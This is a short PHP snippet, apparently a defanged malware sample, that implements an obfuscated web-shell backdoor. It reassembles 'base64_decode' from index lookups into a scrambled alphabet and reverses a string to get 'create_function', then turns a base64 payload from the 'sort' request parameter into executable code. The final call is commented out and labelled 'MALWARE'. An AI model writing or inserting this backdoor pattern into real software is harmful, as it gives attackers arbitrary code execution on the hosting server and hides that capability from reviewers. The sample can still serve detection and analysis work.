if(isset($_REQUEST['sort'])){   ^M
        $string = $_REQUEST['sort'];^M
        $array_name = '';^M
        $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";^M
        $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7);^M
        foreach($ar as $t){^M
           $array_name .= $alphabet[$t];^M
        }^M
        $a = strrev("noi"."tcnuf"."_eta"."erc");^M
        $f = $a("", $array_name($string));^M
        // MALWARE $f();^M
        exit();^M
}